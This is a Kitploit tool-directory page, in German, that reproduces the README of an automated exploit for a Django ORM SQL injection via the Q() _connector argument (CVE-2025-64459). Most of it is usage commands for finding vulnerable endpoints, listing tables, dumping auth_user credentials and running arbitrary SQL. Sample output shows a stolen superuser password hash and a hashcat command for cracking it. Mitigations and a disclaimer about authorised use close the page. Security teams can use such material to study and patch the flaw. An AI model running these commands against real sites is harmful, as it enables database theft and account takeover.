Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
RedTeamBrasil-CVE-2025-64459 — NEO-SQLi — Exploit für Django _connector SQL Injection (CVE-2025-64459) | Kanal RedTeam Brasil | Kitploit
Tools/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — Exploit für Django _connector SQL Injection (CVE-2025-64459) | Kanal RedTeam Brasil

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

connector-sqli

Automatisierte Ausnutzung von SQL Injection im Django-ORM
Q-Objekt _connector · CVE-2025-64459

cve django python license

🎥 Kanal RedTeam Brasil — offensive Security, praktisch, auf Portugiesisch.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   canal RedTeam Brasil
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    uso autorizado apenas

📌 Über die Schwachstelle — CVE-2025-64459

Das Django-ORM baut Filter mit Q()-Objekten. Der Konstruktor Q(*args, _connector=None, _negated=False, **kwargs) akzeptiert das spezielle Kwarg _connector — die Zeichenkette (AND/OR), die die Bedingungen innerhalb des WHERE verbindet.

In den betroffenen Versionen wurde dieser Wert nicht bereinigt und ging roh in die SQL. Wenn die Anwendung Benutzereingaben direkt an Q() / .filter() / .exclude() / .get() über die Dict-Expansion weitergibt — das klassische Anti-Pattern:

root@kitploit:~
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET))     # ou .filter(**request.GET)

…kontrolliert der Angreifer _connector und injiziert beliebige SQL zwischen den Bedingungen (gilt für SQLite, PostgreSQL, MySQL, etc.).

ElementDetail
CVECVE-2025-64459
Komponentedjango.db.models — Q() / QuerySet (_connector und Spaltenaliase)
Betroffene VersionenDjango < 4.2.26, < 5.1.14, < 5.2.8
BehebungUpdate auf 4.2.26 / 5.1.14 / 5.2.8 (oder neuer)
Auswirkungbeliebiges Lesen der Datenbank (UNION/blind) → Dump von Zugangsdaten und Eskalation der Angriffskette

Mit DEBUG = True wird die Ausnutzung trivial: Die Django-Fehlerseite gibt die zusammengesetzte SQL, die Basistabelle und die Anzahl der Spalten zurück — genau das, was das Tool verwendet, um das UNION automatisch zu bauen.


⚡ Funktionen

Generischer Explorer (nicht an ein Ziel gebunden) und automatisiert:

  • 🧭 Findet den Endpoint selbst (--auto): Crawl der Homepage + robots/sitemap + eingebaute Wordlist, testet jede Route über den Django-FieldError.
  • 🔎 Erkennt den verwundbaren Endpoint und DEBUG=True über FieldError.
  • 🧠 Ermittelt automatisch die Basistabelle und die Anzahl der Spalten, indem es die SQL der Fehlerseite liest.
  • 🎯 Findet die reflektierte Spalte mit Markern → Extraktion über Trennzeichen (unabhängig davon, wie die Seite rendert).
  • 🗃️ Listet Tabellen → listet Spalten → dumpt jede Tabelle (UNION-basiert).
  • 🐚 Interaktiver Modus (Menü: Tabelle → Spalten → Dump).
  • 🧪 Proxy (Burp/mitmproxy über --proxy) und HTTPS-Ziele.

🚀 Installation

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 Verwendung

root@kitploit:~
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check

# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables

# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user

# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"

# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users

# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"

# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell

# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto              # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell      # descobre e já explora

Mit --auto (oder dem Unterbefehl auto) crawlt es die Homepage + robots.txt/sitemap.xml und nutzt eine eingebaute Wordlist mit Listing-/Such-Routen (EN + PT-BR + APIs), wobei diejenigen markiert werden, die einen Django-FieldError zurückgeben. Wenn Sie einen falschen --path übergeben, wechselt es automatisch in den Erkennungsmodus.

Optionen

FlagZweck
--path /buscarverwundbarer Endpoint (Standard /list)
--autofindet den Endpoint selbst (Crawl + Wordlist)
--wordlist rotas.txtzusätzliche Routen für die Erkennung (1 pro Zeile)
--base app_modelerzwingt die Basistabelle (falls die Auto-Erkennung fehlschlägt)
--proxy http://127.0.0.1:8080leitet alles über Burp / mitmproxy
root@kitploit:~
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users

# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell

🖥️ Beispielausgabe

root@kitploit:~
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model>   ·   colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

Mit dem Superuser-Hash in der Hand:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django usa pbkdf2_sha256

🛡️ Gegenmaßnahmen

  1. Django aktualisieren auf 4.2.26 / 5.1.14 / 5.2.8+.
  2. request.GET niemals direkt an Q()/.filter() weitergeben. Allow-Liste verwenden:
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False in Produktion (keine SQL/Tabellen/Settings leaken).
  4. Datenbank-Benutzer mit geringsten Rechten.

⚖️ Rechtlicher Hinweis

Reines Lehr-Tool und nur für autorisierte Tests (Labs, CTFs, Bug-Bounty im Rahmen, beauftragtes Pentesting). Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist strafbar — du trägst die alleinige Verantwortung.


Erstellt vom RedTeam Brasil · Hat es dir gefallen? Hinterlass ein Like und abonniere den Kanal.

Tool herunterladen